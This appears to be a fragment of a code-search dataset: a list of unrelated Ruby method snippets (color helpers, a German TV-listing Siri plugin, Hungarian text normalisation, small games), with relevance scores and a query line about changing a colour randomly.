"def lerRoteiro\n\t\t@coder = HTMLEntities.new\n\t\tbegin\n\t\t\t@doc= Roteiro.new\n\t\t\t\n\t\t\tif @@lastFrase < @doc.linhas.length then\n\t\t\t\t@msg = @doc.linhas[@@lastFrase]\n\t\t\telse\n\t\t\t\t@msg = nil\n\t\t\t\tself.log \"Final do script de roteiro\"\n\t\t\tend\n\t\t\t@@lastFrase = @@lastFrase + 1\n\t\t\tif @@lastFrase>@doc.linhas.length\n\t\t\t\t@@lastFrase = @doc.linhas.length\n\t\t\tend\n\t\t\treturn @coder.decode(@msg)\n\t\trescue => @erro\n\t\t\tself.log @erro\n\t\tend\n\t\treturn nil\n\tend",
"def romeo_and_juliet_quote; end",
"def take_bath\n self.hygiene = @hygiene + 4\n # Another way to do the above:\n # self.hygiene=(@hygiene + 4)\n \"♪ Rub-a-dub just relaxing in the tub ♫\" \n end",
"def sic_code; end",
"def result\n 'Scissors'\n end",
"def sp\n\t\t# --Stallция Preφιcς--\n\t\ts = ['S', 'Z', 'C', 'S']\n\t\tt = ['t', 'zt', 'ct', 'st']\n\t\ta = ['a', 'å', 'ä', 'ą']\n\t\tl = ['l', 'll', 'л', 'лл', 'lъ', 'llъ', 'лъ', 'ллъ',]\n\t\tc = ['c', 'z', 's', 'c', 'z', 'ц']\n\t\ti = ['i', '', 'и']\n\t\tja = ['a', 'ja', 'ya', 'ia', 'иa','я', 'ѧ']\n\t\tpp = ['P', 'П', 'Ψ', 'Ξ']\n\t\tr = ['r', 'р']\n\t\te = ['e', 'ϵ', 'ε']\n\t\tfi = ['f', 'ff', 'ф', 'φ', 'ѳ', 'þ', 'ξ']\n\t\tjota = ['i', 'и', 'ι', 'ї', 'ј']\n\t\tis = ['s', 'z', 'c', 'σ', 'ς',\n\t\t\t\t'ss', 'sz', 'sσ', 'sς', 'zs', 'cs', 'σs',\n\t\t\t\t'zz', 'zc', 'zσ', 'zς', 'cz', 'σz',\n\t\t\t\t'cc', 'cσ', 'cς', 'sc', 'σc',\n\t\t\t\t'σσ', 'σς', 'ςς',\n\t\t\t\t'ssz', 'ssσ', 'ssς', 'zss', 'css', 'σss',\n\t\t\t\t'scz']\n\t\tsparray = [s, t, a, l, c, i, ja, [\"\\n\"], pp, r, e, fi, jota, is]\n\t\tcilibles = []\n\t\tfor i in sparray\n\t\t\tcilibles.push(i[rand(i.length)])\n\t\tend\n\t\t@spreffis = cilibles.join\n\t\t@spinitial = cilibles[0] + cilibles[8]\n\tend",
"def res\n @syro_res\n end",
"def singular_siegler; end",
"def textilize(text) \n text = swear_generator(text)\n RedCloth.new(text).to_html.html_safe unless text.blank? \n end",
"def sanitize text\n SANITIZE_THIS.each { |s| text = text.gsub(/#{s}/,'') }\n\n #római számok kiegészítés\n text = text.gsub(/\\W*(#{ROMAISZAMOK.keys.join('|')})\\.\\W*(\\w+)/) do \n ROMAISZAMOK[$1] ? ( ROMAISZAMOK[$1] + ' ' + $2 ) : $&\n end\n \n #századok\n text = text.gsub(/(\\W*)(#{(1..21).to_a.join('|')})\\.\\W+század/) do\n $1 + ROMAISZAMOK.values[($2.to_i - 1)]+' század'\n end\n\n #törtek ( itt mind , mind . után jön egy számsorozat\n text = text.gsub(/(\\d+)[,.](\\d+)/) { $1 + ' egész,' + $2 + ' ' }\n\n #külön írt számok, ha az első nem csatlakozik karakterhez, mint bolygónevek pl M4079 448 km/sec\n # és a második 3 karakter, hogy táblázatban lévő évszámokat pl ne vonjon össze\n text = text.gsub(/(\\W\\d+)\\s(\\d{3})/) { $1 + $2 }\n\n #idegesített az isbn\n text = text.gsub(/(ISBN)\\s*([0-9\\-]+)$/i) { 'iesbéen ' + $2.split('').join(' ') }\n\n # ie isz kr e kr u\n text = text.gsub(/(i\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/i){ ' időszámításunk szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}u\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus után ' + $2 }\n text = text.gsub(/(i\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' időszámításunk előtt ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus előtt ' + $2 }\n\n # kis mértékegység hekk\n text = text.gsub(/\\Wkm\\/h\\W/,' km per óra ')\n text = text.gsub(/\\WkW\\W/,' kilo watt ')\n text = text.gsub(/\\Wkg\\W/i,' kilo gramm ')\n text = text.gsub(/(\\d+)\\W+m\\W/) { $1 + ' méter '}\n text = text.gsub(/°/,' fok')\n text = text.gsub(/[&]i/,' és ')\n # négyzet - sokszor előfordul földrajzban\n text = text.gsub(/km\\W{0,1}²/i){ ' négyzet km ' }\n # négyzet - matekban változó után jön. :/, mértékegységeknél előtte, mértékegységeket ki kéne szedni tömbbe\n text = text.gsub(/²/){ ' négyzet ' }\n text = text.gsub(/\\+\\/\\-/,' plussz minusz ')\n text = text.gsub(/×/,' szor ')\n\n # deokosvagyok rövidítésekbű\n text = text.gsub(/\\sstb\\.\\s/i, ' satöbbi ')\n text = text.gsub(/\\sun\\.\\s/i, ' úgy nevezett ')\n text\nend",
"def take_bath\n #increment hygiene_points by 4\n #return string \"♪ Rub-a-dub just relaxing in the tub ♫\"..\n self.hygiene +=4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def wtfpyra (a)\n\t\tfullpyra (a)\n\t\treversefullpyra (a)\n\tend",
"def strain; end",
"def ToCoStoiPrzyA()\n return @RownanieWielomianu.first.WspolczynnikPomocniczy\n end",
"def scf\n end",
"def sld; end",
"def mis_ramos\n\n\tend",
"def An()\n return @RownanieWielomianu.first.Wspolczynnik\n end",
"def sn\n end",
"def programmjetzt\ndoc = tvprogramm(doc)\ndob = tvprogrammsat(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Das läuft gerade im Fernsehen\"\nobject = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - aktuell\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n \n end\n request_completed\nend",
"def retornar_text_prazo\n text_prazo.greenify\n text_prazo.text\n end",
"def sichtbar_machen()\n end",
"def to_s\n \"#{imie} #{nazwisko}\"\n end",
"def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end",
"def throw_fierce_lqqks\n 'Here I am, giving you Soviet-Satellite realness'\n end",
"def sonido()\n return super << \" miaaauuu\"\n end",
"def rla\n end",
"def rra\n end",
"def konverze s1\n s2 = String.new(s1)\n if WINDOWS == true and KONVERZE == true\n replace(s1,s2,\"\\xec\",\"\\xd8\") # e s hackem\n replace(s1,s2,\"\\xe8\",\"\\x9f\") # c s hackem\n replace(s1,s2,\"\\xf8\",\"\\xfd\") # r s hackem\n\n replace(s1,s2,\"\\xcc\",\"\\xb7\") # E s hackem\n replace(s1,s2,\"\\xc8\",\"\\xac\") # C s hackem\n replace(s1,s2,\"\\xd8\",\"\\xfc\") # R s hackem\n\n replace(s1,s2,\"\\xef\",\"\\xd4\") # d s hackem\n replace(s1,s2,\"\\xf2\",\"\\xe5\") # n s hackem\n replace(s1,s2,\"\\x9d\",\"\\x9c\") # t s hackem\n\n replace(s1,s2,\"\\xcf\",\"\\xd2\") # D s hackem\n replace(s1,s2,\"\\xd2\",\"\\xd5\") # N s hackem\n replace(s1,s2,\"\\x8d\",\"\\x9b\") # T s hackem\n\n replace(s1,s2,\"\\x9e\",\"\\xa7\") # z s hackem\n replace(s1,s2,\"\\x9a\",\"\\xe7\") # s s hackem\n\n replace(s1,s2,\"\\x8e\",\"\\xa6\") # Z s hackem\n replace(s1,s2,\"\\x8a\",\"\\xe6\") # S s hackem\n\n replace(s1,s2,\"\\xe1\",\"\\xa0\") # a s carkou\n replace(s1,s2,\"\\xe9\",\"\\x82\") # e s carkou\n replace(s1,s2,\"\\xed\",\"\\xa1\") # i s carkou\n replace(s1,s2,\"\\xf3\",\"\\xa2\") # o s carkou\n replace(s1,s2,\"\\xfa\",\"\\xa3\") # u s carkou\n replace(s1,s2,\"\\xfd\",\"\\xec\") # y s carkou\n replace(s1,s2,\"\\xf9\",\"\\x85\") # u s krouzkem\n\n replace(s1,s2,\"\\xc1\",\"\\xb5\") # A s carkou\n replace(s1,s2,\"\\xc9\",\"\\x90\") # E s carkou\n replace(s1,s2,\"\\xcd\",\"\\xd6\") # I s carkou\n replace(s1,s2,\"\\xd3\",\"\\xe0\") # O s carkou\n replace(s1,s2,\"\\xda\",\"\\xe9\") # U s carkou\n replace(s1,s2,\"\\xdd\",\"\\xed\") # Y s carkou\n replace(s1,s2,\"\\xd9\",\"\\xde\") # U s kroužkem\n end\n return s2\nend",
"def to_s\n \"#{@text} (#{@points} #{Sklonyator.sklonenie(@points, 'point', 'points', 'points')})\"\n end",
"def gritar(texto = \"Ahhhh\")\n\t\ttexto\n\tend",
"def _raw\n @_raw\n end",
"def terpene; end",
"def affichage_bienvenue\nputs\"------------------------------------------------\n|Bienvenue sur 'ILS VEULENT TOUS MA POO' ! |\n|Le but du jeu est d'être le dernier survivant !|\n-------------------------------------------------\"\nend",
"def bear_roars()\n return \"RROOOAAAAARRRRR\"\nend",
"def PodstawAn(ans) \n @RownanieWielomianu.each{ |wezel| \n if(ans.key?(wezel.Wspolczynnik))\n wezel.Wspolczynnik = ans[wezel.Wspolczynnik]\n end\n }\n end",
"def scientist; end",
"def sichtbar_machen()\n # TODO\n end",
"def ausschalten()\n @schirm.farbe_aendern('orange')\n @leuchtstrahl1.unsichtbar_machen()\n @leuchtstrahl2.unsichtbar_machen()\n @leuchtstrahl3.unsichtbar_machen()\n @leuchtstrahl4.unsichtbar_machen()\n end",
"def formation; end",
"def gritar(texto = \"Grrrrrhhh!\")\r\n\t\t\"Gritando....... #{texto}\"\r\n\tend",
"def rafraichir\n\t\tj = @jeu.joueur\n\t\tpos = j.position\n\n\t\[email protected]( @jeu.carte.vueJoueur(pos,15) )\n\t\[email protected]( @jeu.carte.vueJoueur(pos,@interface.taille) )\n\t\[email protected]( j.pointsDeVie, j.pointsDeVieMax )\n\t\[email protected]( j.endurance, j.enduranceMax )\n\t\[email protected]( j.score )\n\t\[email protected]( @jeu.nbTour )\n\t\[email protected]( j.or )\n\t\tif j.position.objet\n\t\t\[email protected]( \"Ramasser #{j.position.objet.getNom}\" )\n\t\telsif j.position.pnj\n\t\t\[email protected]( j.position.pnj.actionNom )\n\t\telsif j.position.type.nom == \"herbe\"\n\t\t\[email protected]( \"Regarder l'herbe pousser\" )\n\t\telsif j.position.type.nom == \"desert\"\n\t\t\[email protected]( \"Compter les grains de sable\" )\n\t\telsif j.position.type.nom == \"eau\"\n\t\t\[email protected]( \"Faire la planche\" )\n\t\telse\n\t\t\[email protected]( \"Rien à faire\" )\n\t\tend\n\tend",
"def skier_quest; end",
"def display_resource(thesis)\n \"Thesis: #{thesis.title}\"\n end",
"def yyerrok; end",
"def yyerrok; end",
"def set_scrub\n @scrub = Scrub.find(params[:id])\n end",
"def sommaire\n @data = Membre.codePostaux\n end",
"def upload_rus_mod(sparql)\n sparql.query(\n <<-SPARQL\n SELECT DISTINCT ?concept ?description\n WHERE {\n ?concept dbo:abstract ?description .\n ?concept rdfs:label \"#{en_title}\"@en .\n FILTER ( lang(?description) = \"ru\" )\n }\n SPARQL\n )\n end",
"def king_richard_iii_quote\n sample(king_richard_iii)\n end",
"def upload_rus(sparql)\n sparql.query(\n <<-SPARQL\n SELECT DISTINCT ?concept ?description\n WHERE {\n ?concept rdfs:comment ?description .\n ?concept rdfs:label \"#{en_title}\"@en .\n FILTER ( lang(?description) = \"ru\" )\n }\n SPARQL\n )\n end",
"def set_rayon\n @rayon = Rayon.find(params[:id])\n @[email protected]_encoding(\"UTF-8\")\n end",
"def wydajPrzesylkeKierowcy(kierowca)\n # wybor przesylki\n # przesylka = ...wybieramy jakas\n # usuniecie tej przesylki z @przesylki\n kierowca.push(przesylka) \n end",
"def saludanombre(nombre)\n\tputs \"Estimado Señor #{nombre}\"\nend",
"def simple_blind_ror\n \n end",
"def set_rodzaj_pracownika\n @rodzaj_pracownika = RodzajPracownika.find(params[:id])\n end",
"def scrape_it\n \n end",
"def set_the_rasp\n @the_rasp = TheRasp.find(params[:id])\n end",
"def einschalten() \n @schirm.farbe_aendern('gelb')\n @leuchtstrahl1.sichtbar_machen()\n @leuchtstrahl2.sichtbar_machen()\n @leuchtstrahl3.sichtbar_machen()\n @leuchtstrahl4.sichtbar_machen()\n @leuchtstrahl1.farbe_aendern('gelb')\n @leuchtstrahl2.farbe_aendern('gelb')\n @leuchtstrahl3.farbe_aendern('gelb')\n @leuchtstrahl4.farbe_aendern('gelb')\n end",
"def escape\n $sorto = nil\n $viewctr = 0\n $title = nil\n #$filterstr = \"M\"\n #visual_block_clear\n refresh\nend",
"def wookie_sentence; end",
"def romeo_and_juliet; end",
"def recolectar_una\n\t\test = \"\"\n\t\tif @estado == ESTADO::MUERTE\n\t\t\test = \"El árbol está muerto\"\n\t\telse\n\t\t\tif @contador == 0\n\t\t\t\test = \"No hay más naranjas\"\n\t\t\telse\n\t\t\t\test = \"La naranja estaba deliciosa\"\n\t\t\t\t@contador -= 1\n\t\t\tend\n\t\tend\n\t\test\n\tend",
"def set_rescate\n @rescate = Rescate.find(params[:id])\n end",
"def ognia(a,b)\n\t\tsystem \"clear\"\n\t\tif @pelna.litera[a][b] == \" X\"\n\t\t\[email protected][a][b] = \" X\"\n\t\t\tprint \"Trafiony \"\n\t\t\tszukany = (Statek.lista_statkow.select {|x| x if x.sam_statek[0] == [a,b] || x.sam_statek[1] == [a,b] ||\n\t\t\t x.sam_statek[2] == [a,b] || x.sam_statek[3] == [a,b]})[0]\n\t\t\tszukany.sam_statek.delete([a,b])\n\t\t\t\n\t\t\tif szukany.sam_statek.length == 0\n\t\t\t\tputs \"Zatopiony !!!\"\n\t\t\t\tszukany.otoczka.each {|x| pusta.litera[x[0]][x[1]]=\" .\" if x[0] >=0 && x[1] >=0 && x[0] < 10 && x[1] < 10}\n\t\t\t\tStatek.lista_statkow.delete(szukany)\n\t\t\t\tprint \"Zostało Ci jeszcze #{Statek.lista_statkow.count} statków do zatopienia\"\n\t\t\tend\n\t\t\tputs\n\t\t\t\n\t\t\telse \n\t\t\tputs \"Pudło !\"\n\t\t\[email protected][a][b] = \" .\"\n\t\t\t\n\t\tend\n\t\tif Statek.lista_statkow.count > 0\n\t\t\[email protected] \n\t\telse\n\t\t\tsystem \"clear\"\n\t\t\[email protected] \n\t\t\tputs \"Koniec GRY !!!\" \n\t\tend\n\tend",
"def roar\n 'Grrr!'\n end",
"def scream(words) \n\t\twords = words + \"!!!!\" \n\t\treturn\n\t\tputs words \n\tend",
"def abendprogramm\ndoc = tvprogrammabend(doc)\ndob = tvprogrammsatabend(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Programm für 20 Uhr 15\"\n object = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - 20:15\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n end\n request_completed\nend",
"def set_sivic_rede\r\n @sivic_rede = SivicRede.find(params[:id])\r\n end",
"def rrca\n end",
"def ravel; end",
"def sb(t, s, c)\n\n end",
"def sauvegarder()\n\t\[email protected] = Header.temps\n\t\[email protected] = Header.score\n\t\[email protected] = @content[\"grille\"]\n\n\t\t## Sauvegarde la partie dans un fichier yaml au nom de l'utilisateur\n\t\[email protected] (@content[\"pseudo\"])\n\n\t\treturn self\n\tend",
"def vypis_reseni\n\n vystup = \"(\"\n @reseni.each do |prvek|\n if(prvek)then\n vystup += \"1\"\n else\n vystup += \"0\"\n end \n end\n vystup += \")\"\n \n return vystup\n end",
"def pessoavaidois(lugar)\n \"indo para \" + lugar\nend",
"def insult_swabbie\n return case self.swab\n when :counter\n self.boatswain\n when :timestamp\n self.coxswain\n else\n \"\"\n end\n end",
"def sittinae_hooey(scrawny_appulsion, termly)\n end",
"def rossini\n fetch('opera.italian.by_gioacchino_rossini')\n end"
] |
[
"0.6008694",
"0.58818597",
"0.57843864",
"0.5723996",
"0.55901295",
"0.55631036",
"0.552185",
"0.54891455",
"0.54761",
"0.5469009",
"0.5366697",
"0.5350044",
"0.5283717",
"0.5283717",
"0.52645147",
"0.52616906",
"0.5243375",
"0.52429914",
"0.5233237",
"0.52257836",
"0.52049917",
"0.5202094",
"0.51976794",
"0.5185015",
"0.5174655",
"0.51527727",
"0.5151404",
"0.514816",
"0.51472276",
"0.51431257",
"0.51370263",
"0.5131144",
"0.51249593",
"0.50844437",
"0.50830114",
"0.5080727",
"0.5063054",
"0.5045866",
"0.50416076",
"0.503407",
"0.5009792",
"0.50066507",
"0.49684462",
"0.49670416",
"0.4966525",
"0.4959891",
"0.49577877",
"0.49478534",
"0.49353695",
"0.49172232",
"0.49040294",
"0.48977098",
"0.48967946",
"0.488658",
"0.48850965",
"0.4884537",
"0.48792145",
"0.48673162",
"0.4864726",
"0.4860506",
"0.48463294",
"0.48248693",
"0.48214054",
"0.48209655",
"0.48194203",
"0.48182678",
"0.4817789",
"0.4814947",
"0.4814947",
"0.4814525",
"0.4800674",
"0.47989509",
"0.47926077",
"0.4787538",
"0.47831458",
"0.47782645",
"0.47728184",
"0.47694626",
"0.4769284",
"0.47687027",
"0.47661138",
"0.47506803",
"0.4747982",
"0.47460473",
"0.47426385",
"0.47328684",
"0.47327682",
"0.47314298",
"0.473079",
"0.47294366",
"0.47287577",
"0.47253472",
"0.47252095",
"0.47133705",
"0.47061658",
"0.47035128",
"0.4699885",
"0.4693057",
"0.46879637",
"0.4686711",
"0.46851593"
] |
0.0
|
-1
|
Zmienia kolor literki na losowy.
|
def change_color
@color = Gosu::Color.rgb(rand * 255, rand * 255, rand * 255)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hsla_color; end",
"def crisis_color\n return text_color(17)\n end",
"def colorized?; end",
"def color\n\t\t \t\t\t\"El color de tu vaca es #{@color}\"\n\t\t \t\tend",
"def pikapika\n puts \"▕▔╲┊┊┊┊┊┊┊╱▔▏┊┊┊\".colorize(:yellow)\n puts \"┊╲╱╲┊┊┊┊┊╱╲╱┊┊┊┊\".colorize(:yellow)\n puts \"┊┊╲┈╲▂▂▂╱┈╱┊┊┊╱╲\".colorize(:yellow)\n puts \"┊┊╱┈┈┈┈┈┈┈╲┊┊╱┈┈╲\".colorize(:yellow)\n puts \"┊┊▏▕▆▍▂▕▆▍▕┊╱┈┈┈╱\".colorize(:yellow)\n puts \"┊▕╭╮┈┳┻┳┈╭╮▏╲┈┈╱\".colorize(:yellow)\n puts \"┊┊╲╯┈╰━╯┈╰╱┊╱┈┈╲\".colorize(:yellow)\n puts \"┊┊╱┈┈┈┈┈┈┈╲┊╲┈┈┈╲\".colorize(:yellow)\n puts \"┊▕╲┈▕┈┈┈▏┈╱▏┊╱┈╱\".colorize(:yellow)\n puts \"┊▕┈▔▔┈┈┈▔▔┈▏╱┈╱┊\".colorize(:yellow)\n puts \"┊▕┈┈┈┈┈┈┈┈▕▔┈╱┊┊\".colorize(:yellow)\n puts \"┈┈╲┈┈┈┈┈┈┈╱▔▔┈┈┈\".colorize(:yellow)\n puts \"┈┈▕▂╱▔▔▔╲▂▏┈┈┈┈┈\".colorize(:yellow)\n #art from: http://textart4u.blogspot.com/2012/04/pikachu-text-art-ascii-art.html\nend",
"def to_s( )\n\t\tif @color == :white then \"K\" else \"k\" end\n\tend",
"def white\n colorize(37)\n end",
"def initialize\r\n\t\t@color =\"platinum\"\r\n\tend",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def colors; end",
"def white; return self.trays[Hive::Color[:white]]; end",
"def red\n colorize(31)\n end",
"def ptit_fraze_hala_kon(a)\n\t\tcase a\n\t\twhen 1\n\t\t\tputs \"tricheur\".colorize(:red) \n\t\twhen 2\n\t\t\tputs \"tu t'es trompé\".colorize(:red) \n\t\tend\n\tend",
"def rainbow; end",
"def view\n\t\t@white_symbols = {\n\t\t\t\"king\" => \"\\u265a\", \n\t\t\t\"queen\" => \"\\u265b\", \n\t\t\t\"rook\" => \"\\u265c\", \n\t\t\t\"bishop\" => \"\\u265d\", \n\t\t\t\"knight\" => \"\\u265e\", \n\t\t\t\"pawn\" => \"\\u265f\"\n\t\t}\n\n\t\t@black_symbols = {\n\t\t\t\"king\" => \"\\u2654\",\n\t\t\t\"queen\" => \"\\u2655\",\n\t\t\t\"rook\" => \"\\u2656\",\n\t\t\t\"bishop\" => \"\\u2657\",\n\t\t\t\"knight\" => \"\\u2658\",\n\t\t\t\"pawn\" => \"\\u2659\"\n\t\t}\n\n\t\tif self.color == nil\n\t\t\treturn \" \"\n\t\telsif self.color == \"black\"\n\t\t\treturn @black_symbols[self.name]\n\t\telse\n\t\t\treturn @white_symbols[self.name]\n\t\tend\n\tend",
"def cyan\n colorize(36)\n end",
"def color; end",
"def color; end",
"def color; end",
"def knockout_color\n return Color.new(255, 64, 0)\n end",
"def to_s\n if self.color == :white\n \" ♜ \"\n else\n \" ♖ \"\n end\n end",
"def colorize!(color_code) \"#{COLORS[color_code]}#{self.to_s}\\e[0m\" ; end",
"def crisis_color\n return Color.new(255, 255, 64)\n end",
"def default_color_train\n %w{#5D1880 #905717 #3E841F #193FBE #9B3E15 #C22DDE #00FFFF #9200C6 #4466AA}\n end",
"def colors\n return\n end",
"def rainbow \n \"rainbow\" \n end",
"def tutu_color\n\t @tutu_color\n\tend",
"def rainbow\n (0..256).each{ |color| \n print Paint[' ',48,5,color] # print empty bg color field\n }\n puts\n end",
"def display_rainbow(colors)\n puts \"R: #{colors[4]}, O: #{colors[1]}, Y: #{[5]}, G: #{colors[3]}, B: #{colors[0]}, I: #{colors[2]}, V: #{colors[6]}\"\n puts colors\nend",
"def green\n colorize(32)\n end",
"def display_rainbow(colors)\n puts \"R: #{colors[0]}, O: #{colors[1]}, Y: #{colors[2]}, G: #{colors[3]}, B: #{colors[4]}, I: #{colors[5]}, V: #{colors[6]}\"\nend",
"def yellow\n colorize(33)\n end",
"def normal_color; return Color.normal_color; end",
"def r; self.color.r end",
"def to_kmlcolor(color=\"#000000\", alpha = \"ff\")\n alpha + color[5,3].to_s + color[3,2].to_s + color[1,2].to_s\n end",
"def display_rainbow(colors)\n if (colors.size > 0) \n puts \"R: #{colors[0]}, O: #{colors[1]}, Y: #{colors[2]}, G: #{colors[3]}, B: #{colors[4]}, I: #{colors[5]}, V: #{colors[6]}\"\n end\nend",
"def display_rainbow(color_lists)\n puts \"R: #{color_lists[0]}, O: #{color_lists[1]}, Y: #{color_lists[2]}, G: #{color_lists[3]}, B: #{color_lists[4]}, I: #{color_lists[5]}, V: #{color_lists[6]}\"\nend",
"def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def possible_colors\n %w(R G B Y)\n end",
"def color\n @red ? \"R\" : \"B\"\n end",
"def to_kmlcolor(color=\"#000000\", alpha = \"ff\")\n alpha + color[5,3] + color[3,2] + color[1,2]\n end",
"def colorize!; @colors = true; end",
"def color(color); end",
"def ✘\n colorize(\"✘\", :red)\n end",
"def to_s\n case @color\n when :black then '♚'\n when :white then '♔'\n end\n end",
"def color_map\n {\n 'high_risk_ice_check_in' => '#800080',\n 'friend_in_detention' => '#e83737',\n }\n end",
"def to_c\n\t\t\tif color == \"white\"\n\t\t\t\t\"\\u26aa\"\n\t\t\telsif color == \"red\"\n\t\t\t\t\"\\u26d4\"\n\t\t\telsif color == \"black\"\n\t\t\t\t\"\\u26ab\"\n\t\t\tend\n\t\tend",
"def auxiliary_colour\n @cr[0xe] >> 4\n end",
"def red\n colorize(:red)\nend",
"def r\n\t\t\tColor.r(@color)\n\t\tend",
"def fila_siguiente\n @color.avanzar(@fila)\n end",
"def chco\n (foreground || \"FFFFFF\") + \",\" + super\n end",
"def get_color windspeed\n color = case windspeed.to_i\n when 0 then :empty \n when 1..19 then :green \n when 20..25 then :yellow \n when 26..39 then :orange\n when 40..256 then :red \n else\n :empty \n end\n end",
"def red\n\t\tlight COLOR_KEY_RED\n\tend",
"def back_color1\n Color.new(0, 0, 0, 192)\n end",
"def cyan(str)\n color(36, str)\n end",
"def purple\n colorize(35)\n end",
"def colors(warm, cool)\n puts \"#{warm} is a contrast color to #{cool}\"\nend",
"def normal_color\n #return Color.new(255,255,255)\n end",
"def welcome_explainer\n name = \" Legislature Information on Bills and Sponsors \"\n print ColorizedString[\"_/\\\\_\"].white.on_blue \n puts ColorizedString[name.center(name.length)].black.on_white\n print ColorizedString[\"\\\\/\\\\/\"].white.on_blue \n puts ColorizedString[\"(from Open States API v1)\".center(name.length)].white.on_red\nend",
"def rouge_gras\n \"\\033[1;31m#{self}\\033[0m\"\n end",
"def colorize(text, color_code); \"\\e[#{color_code}m#{text}\\e[0m\"; end",
"def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]",
"def yellow \n\t\tlight COLOR_KEY_YELLOW\n\tend",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def black\n Wasko::Color.color_from_string(\"black\")\n end",
"def bright; end",
"def bright; end",
"def calculate_color\n\n self.color || color_by_title\n end",
"def b\n\t\t\tColor.b(@color)\n\t\tend",
"def symbol \n return \"♚\" if @color == :black \n return \"♔\" if @color == :white\n end",
"def bleu\n \"\\033[0;96m#{self}\\033[0m\"\n # 96=bleu clair, 93 = jaune, 94/95=mauve, 92=vert\n end",
"def hsla_color\n hsl_color << rand.round(1)\n end",
"def print_colors\n 1.upto(6) { |i| print \"#{i} = \" + \"\\u2b24\".color(COLORS[i]) + \" \" }\n print \": \"\nend",
"def get_block_color(x, y, z)\n 0xffeeeeee\n end",
"def rgb_color; end",
"def color_name\n COLOR[self.color.to_s]\n end",
"def malt_color_units\n weight * fermentable.color\n end",
"def symbol\n @color == \"white\" ? @symbol = \"\\u{2658}\" : @symbol = \"\\u{265e}\"\n end",
"def set(color)\n color == :w ? whites : blacks\n end",
"def g\n\t\t\tColor.g(@color)\n\t\tend",
